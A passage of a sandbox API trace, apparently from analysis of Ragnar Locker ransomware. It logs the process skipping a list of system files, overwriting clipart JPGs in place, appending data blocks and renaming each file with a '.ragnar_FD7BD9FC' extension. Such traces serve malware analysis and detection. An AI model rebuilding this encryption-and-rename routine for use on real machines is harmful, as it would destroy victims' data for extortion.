Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.241] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0386764.JPG" | out: lpString1="J0386764.JPG") returned="J0386764.JPG" [0088.241] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG") returned=".JPG" [0088.241] lstrcmpiW (lpString1="J0386764.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.241] lstrcmpiW (lpString1="J0386764.JPG", lpString2="autorun.inf") returned 1 [0088.241] lstrcmpiW (lpString1="J0386764.JPG", lpString2="boot.ini") returned 1 [0088.241] lstrcmpiW (lpString1="J0386764.JPG", lpString2="bootfont.bin") returned 1 [0088.241] lstrcmpiW (lpString1="J0386764.JPG", lpString2="bootsect.bak") returned 1 [0088.241] lstrcmpiW (lpString1="J0386764.JPG", lpString2="bootmgr") returned 1 [0088.241] lstrcmpiW (lpString1="J0386764.JPG", lpString2="bootmgr.efi") returned 1 [0088.241] lstrcmpiW (lpString1="J0386764.JPG", lpString2="bootmgfw.efi") returned 1 [0088.241] lstrcmpiW (lpString1="J0386764.JPG", lpString2="desktop.ini") returned 1 [0088.241] lstrcmpiW (lpString1="J0386764.JPG", lpString2="iconcache.db") returned 1 [0088.241] lstrcmpiW (lpString1="J0386764.JPG", lpString2="ntldr") returned -1 [0088.241] lstrcmpiW (lpString1="J0386764.JPG", lpString2="ntuser.dat") returned -1 [0088.241] lstrcmpiW (lpString1="J0386764.JPG", lpString2="ntuser.dat.log") returned -1 [0088.241] lstrcmpiW (lpString1="J0386764.JPG", lpString2="ntuser.ini") returned -1 [0088.241] lstrcmpiW (lpString1="J0386764.JPG", lpString2="thumbs.db") returned -1 [0088.241] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.241] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.241] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.241] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.241] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.241] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.241] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg")) returned 0x20 [0088.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.242] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26942) returned 1 [0088.242] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6935, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.242] GetProcessHeap () returned 0x580000 [0088.242] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.242] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.244] VirtualAlloc (lpAddress=0x0, dwSize=0x693e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.244] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.244] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.244] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x693e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x693e, lpOverlapped=0x0) returned 1 [0088.245] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.245] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x693e, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.245] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x693e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x693e, lpOverlapped=0x0) returned 1 [0088.245] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x693e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.245] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.246] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x693e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.246] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.246] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.246] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.246] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.246] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.246] GetProcessHeap () returned 0x580000 [0088.246] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.246] CloseHandle (hObject=0xf4) returned 1 [0088.246] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" [0088.246] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.ragnar_FD7BD9FC" [0088.246] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.247] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0387337.JPG", cAlternateFileName="")) returned 1 [0088.247] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.247] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0387337.JPG" | out: lpString1="J0387337.JPG") returned="J0387337.JPG" [0088.247] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG") returned=".JPG" [0088.247] lstrcmpiW (lpString1="J0387337.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.247] lstrcmpiW (lpString1="J0387337.JPG", lpString2="autorun.inf") returned 1 [0088.247] lstrcmpiW (lpString1="J0387337.JPG", lpString2="boot.ini") returned 1 [0088.247] lstrcmpiW (lpString1="J0387337.JPG", lpString2="bootfont.bin") returned 1 [0088.247] lstrcmpiW (lpString1="J0387337.JPG", lpString2="bootsect.bak") returned 1 [0088.247] lstrcmpiW (lpString1="J0387337.JPG", lpString2="bootmgr") returned 1 [0088.247] lstrcmpiW (lpString1="J0387337.JPG", lpString2="bootmgr.efi") returned 1 [0088.247] lstrcmpiW (lpString1="J0387337.JPG", lpString2="bootmgfw.efi") returned 1 [0088.247] lstrcmpiW (lpString1="J0387337.JPG", lpString2="desktop.ini") returned 1 [0088.247] lstrcmpiW (lpString1="J0387337.JPG", lpString2="iconcache.db") returned 1 [0088.247] lstrcmpiW (lpString1="J0387337.JPG", lpString2="ntldr") returned -1 [0088.247] lstrcmpiW (lpString1="J0387337.JPG", lpString2="ntuser.dat") returned -1 [0088.247] lstrcmpiW (lpString1="J0387337.JPG", lpString2="ntuser.dat.log") returned -1 [0088.247] lstrcmpiW (lpString1="J0387337.JPG", lpString2="ntuser.ini") returned -1 [0088.247] lstrcmpiW (lpString1="J0387337.JPG", lpString2="thumbs.db") returned -1 [0088.248] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.248] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.248] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.248] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.248] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.248] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.248] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg")) returned 0x20 [0088.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.248] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=51978) returned 1 [0088.248] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcb01, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.248] GetProcessHeap () returned 0x580000 [0088.248] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.248] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.250] VirtualAlloc (lpAddress=0x0, dwSize=0xcb0a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.250] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.250] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.250] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xcb0a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xcb0a, lpOverlapped=0x0) returned 1 [0088.251] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.251] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcb0a, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.251] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xcb0a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xcb0a, lpOverlapped=0x0) returned 1 [0088.252] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcb0a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.252] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.252] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcb0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.252] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.252] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.252] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.252] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.252] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.252] GetProcessHeap () returned 0x580000 [0088.252] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.253] CloseHandle (hObject=0xf4) returned 1 [0088.253] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" [0088.253] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.ragnar_FD7BD9FC" [0088.253] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.253] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0387578.JPG", cAlternateFileName="")) returned 1 [0088.253] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.253] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0387578.JPG" | out: lpString1="J0387578.JPG") returned="J0387578.JPG" [0088.253] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG") returned=".JPG" [0088.253] lstrcmpiW (lpString1="J0387578.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.253] lstrcmpiW (lpString1="J0387578.JPG", lpString2="autorun.inf") returned 1 [0088.253] lstrcmpiW (lpString1="J0387578.JPG", lpString2="boot.ini") returned 1 [0088.253] lstrcmpiW (lpString1="J0387578.JPG", lpString2="bootfont.bin") returned 1 [0088.254] lstrcmpiW (lpString1="J0387578.JPG", lpString2="bootsect.bak") returned 1 [0088.254] lstrcmpiW (lpString1="J0387578.JPG", lpString2="bootmgr") returned 1 [0088.254] lstrcmpiW (lpString1="J0387578.JPG", lpString2="bootmgr.efi") returned 1 [0088.254] lstrcmpiW (lpString1="J0387578.JPG", lpString2="bootmgfw.efi") returned 1 [0088.254] lstrcmpiW (lpString1="J0387578.JPG", lpString2="desktop.ini") returned 1 [0088.254] lstrcmpiW (lpString1="J0387578.JPG", lpString2="iconcache.db") returned 1 [0088.254] lstrcmpiW (lpString1="J0387578.JPG", lpString2="ntldr") returned -1 [0088.254] lstrcmpiW (lpString1="J0387578.JPG", lpString2="ntuser.dat") returned -1 [0088.254] lstrcmpiW (lpString1="J0387578.JPG", lpString2="ntuser.dat.log") returned -1 [0088.254] lstrcmpiW (lpString1="J0387578.JPG", lpString2="ntuser.ini") returned -1 [0088.254] lstrcmpiW (lpString1="J0387578.JPG", lpString2="thumbs.db") returned -1 [0088.254] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.254] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.254] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.254] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.254] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.254] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.254] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg")) returned 0x20 [0088.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.254] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=27884) returned 1 [0088.254] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6ce3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.255] GetProcessHeap () returned 0x580000 [0088.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.255] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.256] VirtualAlloc (lpAddress=0x0, dwSize=0x6cec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.256] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.256] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.256] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6cec, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6cec, lpOverlapped=0x0) returned 1 [0088.257] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.258] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6cec, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.258] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6cec, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6cec, lpOverlapped=0x0) returned 1 [0088.258] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6cec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.258] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.258] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6cec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.258] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.258] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.258] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.259] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.259] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.259] GetProcessHeap () returned 0x580000 [0088.259] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.259] CloseHandle (hObject=0xf4) returned 1 [0088.259] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" [0088.259] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.ragnar_FD7BD9FC" [0088.259] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.259] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x98c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0387591.JPG", cAlternateFileName="")) returned 1 [0088.259] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.259] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0387591.JPG" | out: lpString1="J0387591.JPG") returned="J0387591.JPG" [0088.260] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG") returned=".JPG" [0088.260] lstrcmpiW (lpString1="J0387591.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.260] lstrcmpiW (lpString1="J0387591.JPG", lpString2="autorun.inf") returned 1 [0088.260] lstrcmpiW (lpString1="J0387591.JPG", lpString2="boot.ini") returned 1 [0088.260] lstrcmpiW (lpString1="J0387591.JPG", lpString2="bootfont.bin") returned 1 [0088.260] lstrcmpiW (lpString1="J0387591.JPG", lpString2="bootsect.bak") returned 1 [0088.260] lstrcmpiW (lpString1="J0387591.JPG", lpString2="bootmgr") returned 1 